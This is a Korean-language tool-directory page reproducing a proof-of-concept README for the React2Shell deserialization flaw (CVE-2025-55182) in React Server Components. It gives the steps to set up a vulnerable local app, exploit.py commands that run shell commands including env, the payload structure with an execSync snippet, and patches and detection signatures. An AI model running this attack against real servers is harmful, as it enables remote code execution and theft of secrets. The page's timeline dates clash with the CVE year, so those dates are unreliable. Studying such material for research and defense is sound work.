Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
vulnerable-next-js-poc — React2Shell (CVE-2025-55182)용 PoC | Kitploit
도구/GitHubGitHub/kondukto-io/vulnerable-next-js-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubkondukto-io/vulnerable-next-js-poc

vulnerable-next-js-poc

React2Shell (CVE-2025-55182)용 PoC

저장소 보기
518개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-55182 (React2Shell) - 개념 증명(PoC)

⚠️ 보안 연구 전용

이 저장소는 React Server Components의 심각한 원격 코드 실행 취약점인 CVE-2025-55182에 대한 개념 증명(PoC)을 포함하고 있습니다. 이는 승인된 보안 테스트 및 연구 목적으로만 사용해야 합니다.

취약점 개요

  • CVE ID: CVE-2025-55182
  • 이름: React2Shell
  • CVSS 점수: 10.0 (치명적)
  • 유형: CWE-502 - 신뢰할 수 없는 데이터의 역직렬화
  • 공격 경로: 네트워크 (AV:N)
  • 인증: 불필요 (PR:N)
  • 상태: 실제 환경에서 활발한 악용 발생 중

영향을 받는 버전

React:

  • 19.0.0
  • 19.1.0, 19.1.1
  • 19.2.0

Next.js:

  • 15.0.0 ~ 15.0.4
  • 15.1.0 ~ 15.1.8
  • 15.2.0 ~ 15.2.5
  • 16.0.0 ~ 16.0.6

기술적 세부 사항

이 취약점은 React Server Components Flight 프로토콜의 안전하지 않은 역직렬화를 악용합니다. 서버가 특수하게 조작된 페이로드를 수신하면 역직렬화 전에 구조를 제대로 검증하지 못하여, 공격자가 제어하는 데이터가 서버 측 실행을 조작할 수 있게 됩니다.

공격 메커니즘

  1. 가짜 Chunk 주입: 공격자가 내부 Chunk 구조를 모방한 조작된 객체가 포함된 Flight 페이로드를 전송합니다.
  2. Promise 핸들러 하이재킹: 가짜 객체에 사용자 정의 then 메서드가 포함됩니다.
  3. 상태 조작: React의 역직렬화가 가짜 Chunk를 resolve하려 시도하여 공격자의 핸들러를 트리거합니다.
  4. 코드 실행: process.mainModule.require('child_process')를 통해 서버에서 임의의 JavaScript가 실행됩니다.

PoC 설정

사전 요구 사항

  • Node.js 18+
  • Python 3.x (공격 스크립트용)
  • npm 또는 yarn

설치

  1. 의존성 설치:
root@kitploit:~
npm install
  1. 취약한 서버 실행:
root@kitploit:~
npm run dev

서버는 http://localhost:3000 에서 시작됩니다.

취약한 애플리케이션 구조

root@kitploit:~
app/
├── page.js              # Main page with ServerForm
├── ServerForm.js        # Client component with form
├── actions.js           # Vulnerable Server Action
└── layout.js            # Root layout

공격 실행

기본 사용법

root@kitploit:~
python3 exploit.py -t http://localhost:3000 -c "whoami"

옵션

  • -t, --target: 대상 URL (필수)
  • -c, --command: 실행할 셸 명령어 (기본값: id)
  • --check-only: 대상이 취약해 보이는지만 확인

예시

대상이 취약한지 확인:

root@kitploit:~
python3 exploit.py -t http://localhost:3000 --check-only

임의의 명령어 실행:

root@kitploit:~
# Get user info
python3 exploit.py -t http://localhost:3000 -c "id"

# List files
python3 exploit.py -t http://localhost:3000 -c "ls -la"

# Create a file as POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"

# Read environment variables
python3 exploit.py -t http://localhost:3000 -c "env"

공격 페이로드 구조

이 공격은 multipart form-data를 다음과 같이 사용합니다:

root@kitploit:~
Field "0": Malicious JSON with custom 'then' handler
Field "1": Reference to field 0 ($@0)
Header: Next-Action: x (triggers RSC processing)

페이로드는 내부 _response 객체를 조작하여 다음을 실행합니다:

root@kitploit:~
process.mainModule.require('child_process').execSync('<command>')

완화 조치

즉시 조치

  1. React 업데이트:

    root@kitploit:~
    npm install [email protected] [email protected]
    
  2. Next.js 업데이트:

    root@kitploit:~
    npm install [email protected]  # or latest patched version
    

패치된 버전

  • React: ≥ 19.3.0
  • Next.js:
    • ≥ 15.0.5
    • ≥ 15.1.9
    • ≥ 15.2.6
    • ≥ 16.0.7

탐지

침해 지표

  • Next-Action 헤더가 포함된 RSC 엔드포인트로의 예기치 않은 POST 요청
  • $@ 참조가 포함된 multipart form-data 페이로드
  • 요청 본문에서 의심스러운 then 속성
  • 서버 측 프로세스 실행 이상 징후

네트워크 시그니처

root@kitploit:~
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...containing {"then":"$@

타임라인

  • 2024년 12월 3일: 공개 발표
  • 2024년 12월 5일: 활발한 악용 관찰됨
  • 2024년 12월 26일: CISA KEV 준수 마감일

참고 자료

  • 공식 CVE 레코드
  • NVD 항목
  • CISA KEV 카탈로그
  • Wiz 보안 권고
  • OffSec 기술 분석

면책 조항

이 개념 증명은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 정보의 오용에 대해 어떠한 책임도 지지 않습니다.

금지 사항:

  • 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 이 공격을 사용하지 마십시오.
  • 프로덕션 환경에 배포하지 마십시오.
  • 적절한 맥락과 경고 없이 공격 코드를 공유하지 마십시오.

라이선스

MIT 라이선스 - 보안 연구 목적으로만 사용

도구 다운로드